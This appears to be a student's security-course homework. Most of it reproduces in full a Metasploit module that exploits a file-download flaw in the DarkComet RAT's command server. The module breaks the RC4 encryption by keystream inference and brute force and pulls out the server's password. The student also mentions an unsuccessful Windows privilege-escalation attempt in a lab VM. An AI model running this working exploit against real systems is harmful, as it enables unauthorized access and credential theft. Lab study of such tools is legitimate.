Zachary Nandapurkar

hw08

1. What worked was an arbitrary file download from DarkCometServer. ##

# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp

  include Msf::Auxiliary::Report

  def initialize(info = {})

    super(update\_info(info,

      'Name'           => 'DarkComet Server Remote File Download Exploit',

      'Description'    => %q{

        This module exploits an arbitrary file download vulnerability in the DarkComet C&C server versions 3.2 and up.

        The exploit does not need to know the password chosen for the bot/server communication.

      },

      'License'        => MSF\_LICENSE,

      'Author'         =>

        [

          'Shawn Denbow & Jesse Hertz', # Vulnerability Discovery

          'Jos Wetzels' # Metasploit module, added support for versions < 5.1, removed need to know password via cryptographic attack

        ],

      'References'     =>

        [

          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/us/whitepapers/PEST-CONTROL.pdf' ],

          [ 'URL', 'http://samvartaka.github.io/exploitation/2016/06/03/dead-rats-exploiting-malware' ]

        ],

      'DisclosureDate' => 'Oct 08 2012',

      'Platform'       => 'win'

    ))

    register\_options(

      [

        Opt::RPORT(1604),

        Opt::RHOST('0.0.0.0'),

        OptString.new('LHOST', [true, 'This is our IP (as it appears to the DarkComet C2 server)', '0.0.0.0']),

        OptString.new('KEY', [false, 'DarkComet RC4 key (include DC prefix with key eg. #KCMDDC51#-890password)', '']),

        OptBool.new('NEWVERSION', [false, 'Set to true if DarkComet version >= 5.1, set to false if version < 5.1', true]),

        OptString.new('TARGETFILE', [false, 'Target file to download (assumes password is set)', '']),

        OptBool.new('STORE\_LOOT', [false, 'Store file in loot (will simply output file to console if set to false).', true]),

        OptInt.new('BRUTETIMEOUT', [false, 'Timeout (in seconds) for bruteforce attempts', 1])

      ], self.class)

  end

  # Functions for XORing two strings, deriving keystream using known plaintext and applying keystream to produce ciphertext

  def xor\_strings(s1, s2)

    s1.unpack('C\*').zip(s2.unpack('C\*')).map { |a, b| a ^ b }.pack('C\*')

  end

  def get\_keystream(ciphertext, known\_plaintext)

    c = [ciphertext].pack('H\*')

    if known\_plaintext.length > c.length

      return xor\_strings(c, known\_plaintext[0, c.length])

    elsif c.length > known\_plaintext.length

      return xor\_strings(c[0, known\_plaintext.length], known\_plaintext)

    else

      return xor\_strings(c, known\_plaintext)

    end

  end

  def use\_keystream(plaintext, keystream)

    if keystream.length > plaintext.length

      return xor\_strings(plaintext, keystream[0, plaintext.length]).unpack('H\*')[0].upcase

    else

      return xor\_strings(plaintext, keystream).unpack('H\*')[0].upcase

    end

  end

  # Use RubyRC4 functionality (slightly modified from Max Prokopiev's implementation https://github.com/maxprokopiev/ruby-rc4/blob/master/lib/rc4.rb)

  # since OpenSSL requires at least 128-bit keys for RC4 while DarkComet supports any keylength

  def rc4\_initialize(key)

**@q1** = 0

**@q2** = 0

**@key** = []

    key.each\_byte { |elem| **@key** << elem } while **@key**.size < 256

**@key**.slice!(256..**@key**.size - 1) if **@key**.size >= 256

**@s** = (0..255).to\_a

    j = 0

    0.upto(255) do |i|

      j = (j + **@s**[i] + **@key**[i]) % 256

**@s**[i], **@s**[j] = **@s**[j], **@s**[i]

    end

  end

  def rc4\_keystream

**@q1** = (**@q1** + 1) % 256

**@q2** = (**@q2** + **@s**[**@q1**]) % 256

**@s**[**@q1**], **@s**[**@q2**] = **@s**[**@q2**], **@s**[**@q1**]

**@s**[(**@s**[**@q1**] + **@s**[**@q2**]) % 256]

  end

  def rc4\_process(text)

    text.each\_byte.map { |i| (i ^ rc4\_keystream).chr }.join

  end

  def dc\_encryptpacket(plaintext, key)

    rc4\_initialize(key)

    rc4\_process(plaintext).unpack('H\*')[0].upcase

  end

  # Try to execute the exploit

  def try\_exploit(exploit\_string, keystream, bruting)

    connect

    idtype\_msg = sock.get\_once(12)

    if idtype\_msg.length != 12

      disconnect

      return nil

    end

    if datastore['KEY'] != ''

      exploit\_msg = dc\_encryptpacket(exploit\_string, datastore['KEY'])

    else

      # If we don't have a key we need enough keystream

      if keystream.nil?

        disconnect

        return nil

      end

      if keystream.length < exploit\_string.length

        disconnect

        return nil

      end

      exploit\_msg = use\_keystream(exploit\_string, keystream)

    end

    sock.put(exploit\_msg)

    if bruting

      begin

        ack\_msg = sock.timed\_read(3, datastore['BRUTETIMEOUT'])

      rescue Timeout::Error

        disconnect

        return nil

      end

    else

      ack\_msg = sock.get\_once(3)

    end

    if ack\_msg != "\x41\x00\x43"

      disconnect

      return nil

    # Different protocol structure for versions >= 5.1

    elsif datastore['NEWVERSION'] == true

      if bruting

        begin

          filelen = sock.timed\_read(10, datastore['BRUTETIMEOUT']).to\_i

        rescue Timeout::Error

          disconnect

          return nil

        end

      else

        filelen = sock.get\_once(10).to\_i

      end

      if filelen == 0

        disconnect

        return nil

      end

      if datastore['KEY'] != ''

        a\_msg = dc\_encryptpacket('A', datastore['KEY'])

      else

        a\_msg = use\_keystream('A', keystream)

      end

      sock.put(a\_msg)

      if bruting

        begin

          filedata = sock.timed\_read(filelen, datastore['BRUTETIMEOUT'])

        rescue Timeout::Error

          disconnect

          return nil

        end

      else

        filedata = sock.get\_once(filelen)

      end

      if filedata.length != filelen

        disconnect

        return nil

      end

      sock.put(a\_msg)

      disconnect

      return filedata

    else

      filedata = ''

      if bruting

        begin

          msg = sock.timed\_read(1024, datastore['BRUTETIMEOUT'])

        rescue Timeout::Error

          disconnect

          return nil

        end

      else

        msg = sock.get\_once(1024)

      end

      while (!msg.nil?) && (msg != '')

        filedata += msg

        if bruting

          begin

            msg = sock.timed\_read(1024, datastore['BRUTETIMEOUT'])

          rescue Timeout::Error

            break

          end

        else

          msg = sock.get\_once(1024)

        end

      end

      disconnect

      if filedata == ''

        return nil

      else

        return filedata

      end

    end

  end

  # Fetch a GetSIN response from C2 server

  def fetch\_getsin

    connect

    idtype\_msg = sock.get\_once(12)

    if idtype\_msg.length != 12

      disconnect

      return nil

    end

    keystream = get\_keystream(idtype\_msg, 'IDTYPE')

    server\_msg = use\_keystream('SERVER', keystream)

    sock.put(server\_msg)

    getsin\_msg = sock.get\_once(1024)

    disconnect

    getsin\_msg

  end

  # Carry out the crypto attack when we don't have a key

  def crypto\_attack(exploit\_string)

    getsin\_msg = fetch\_getsin

    if getsin\_msg.nil?

      return nil

    end

    getsin\_kp = 'GetSIN' + datastore['LHOST'] + '|'

    keystream = get\_keystream(getsin\_msg, getsin\_kp)

    if keystream.length < exploit\_string.length

      missing\_bytecount = exploit\_string.length - keystream.length

      print\_status("Missing #{missing\_bytecount} bytes of keystream ...")

      inferrence\_segment = ''

      brute\_max = 4

      if missing\_bytecount > brute\_max

        print\_status("Using inferrence attack ...")

        # Offsets to monitor for changes

        target\_offset\_range = []

        for i in (keystream.length + brute\_max)..(keystream.length + missing\_bytecount - 1)

          target\_offset\_range << i

        end

        # Store inference results

        inference\_results = {}

        # As long as we haven't fully recovered all offsets through inference

        # We keep our observation window in a circular buffer with 4 slots with the buffer running between [head, tail]

        getsin\_observation = [''] \* 4

        buffer\_head = 0

        for i in 0..2

          getsin\_observation[i] = [fetch\_getsin].pack('H\*')

          Rex.sleep(0.5)

        end

        buffer\_tail = 3

        # Actual inference attack happens here

        while !target\_offset\_range.empty?

          getsin\_observation[buffer\_tail] = [fetch\_getsin].pack('H\*')

          Rex.sleep(0.5)

          # We check if we spot a change within a position between two consecutive items within our circular buffer

          # (assuming preceding entries are static in that position) we observed a 'carry', ie. our observed position went from 9 to 0

          target\_offset\_range.each do |x|

            index = buffer\_head

            while index != buffer\_tail do

              next\_index = (index + 1) % 4

              # The condition we impose is that observed character x has to differ between two observations and the character left of it has to differ in those same

              # observations as well while being constant in at least one previous or subsequent observation

              if (getsin\_observation[index][x] != getsin\_observation[next\_index][x]) && (getsin\_observation[index][x - 1] != getsin\_observation[next\_index][x - 1]) && ((getsin\_observation[(index - 1) % 4][x - 1] == getsin\_observation[index][x - 1]) || (getsin\_observation[next\_index][x - 1] == getsin\_observation[(next\_index + 1) % 4][x - 1]))

                target\_offset\_range.delete(x)

                inference\_results[x] = xor\_strings(getsin\_observation[index][x], '9')

                break

              end

              index = next\_index

            end

          end

          # Update circular buffer head & tail

          buffer\_tail = (buffer\_tail + 1) % 4

          # Move head to right once tail wraps around, discarding oldest item in circular buffer

          if buffer\_tail == buffer\_head

            buffer\_head = (buffer\_head + 1) % 4

          end

        end

        # Inferrence attack done, reconstruct final keystream segment

        inf\_seg = ["\x00"] \* (keystream.length + missing\_bytecount)

        inferrence\_results.each do |x, val|

          inf\_seg[x] = val

        end

        inferrence\_segment = inf\_seg.slice(keystream.length + brute\_max, inf\_seg.length).join

        missing\_bytecount = brute\_max

      end

      if missing\_bytecount > brute\_max

        print\_status("Improper keystream recovery ...")

        return nil

      end

      print\_status("Initiating brute force ...")

      # Bruteforce first missing\_bytecount bytes of timestamp (maximum of brute\_max)

      charset = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0']

      char\_range = missing\_bytecount.times.map { charset }

      char\_range.first.product(\*char\_range[1..-1]) do |x|

        p = x.join

        candidate\_plaintext = getsin\_kp + p

        candidate\_keystream = get\_keystream(getsin\_msg, candidate\_plaintext) + inferrence\_segment

        filedata = try\_exploit(exploit\_string, candidate\_keystream, true)

        if !filedata.nil?

          return filedata

        end

      end

      return nil

    end

    try\_exploit(exploit\_string, keystream, false)

  end

  def parse\_password(filedata)

    filedata.each\_line { |line|

      elem = line.strip.split('=')

      if elem.length >= 1

        if elem[0] == 'PASSWD'

          if elem.length == 2

            return elem[1]

          else

            return ''

          end

        end

      end

    }

    return nil

  end

  def run

    # Determine exploit string

    if datastore['NEWVERSION'] == true

      if (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')

        exploit\_string = 'QUICKUP1|' + datastore['TARGETFILE'] + '|'

      else

        exploit\_string = 'QUICKUP1|config.ini|'

      end

    elsif (datastore['TARGETFILE'] != '') && (datastore['KEY'] != '')

      exploit\_string = 'UPLOAD' + datastore['TARGETFILE'] + '|1|1|'

    else

      exploit\_string = 'UPLOADconfig.ini|1|1|'

    end

    # Run exploit

    if datastore['KEY'] != ''

      filedata = try\_exploit(exploit\_string, nil, false)

    else

      filedata = crypto\_attack(exploit\_string)

    end

    # Harvest interesting credentials, store loot

    if !filedata.nil?

      # Automatically try to extract password from config.ini if we haven't set a key yet

      if datastore['KEY'] == ''

        password = parse\_password(filedata)

        if password.nil?

          print\_status("Could not find password in config.ini ...")

        elsif password == ''

          print\_status("C2 server uses empty password!")

        else

          print\_status("C2 server uses password [#{password}]")

        end

      end

      # Store to loot

      if datastore['STORE\_LOOT'] == true

        print\_status("Storing data to loot...")

        if (datastore['KEY'] == '') && (datastore['TARGETFILE'] != '')

          store\_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, 'config.ini', "DarkComet C2 server config file")

        else

          store\_loot("darkcomet.file", "text/plain", datastore['RHOST'], filedata, datastore['TARGETFILE'], "File retrieved from DarkComet C2 server")

        end

      else

        print\_status(filedata.to\_s)

      end

    else

      print\_status("Attack failed or empty config file encountered ...")

    end

  end

end

What I couldn’t get going was a Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation, on the Windows 7 VM.

Could’ve been running it incorrectly?

2. The –R flag could be helpful as it restores previous sessions. Also the –w flag could be smart if the timeout detects speed.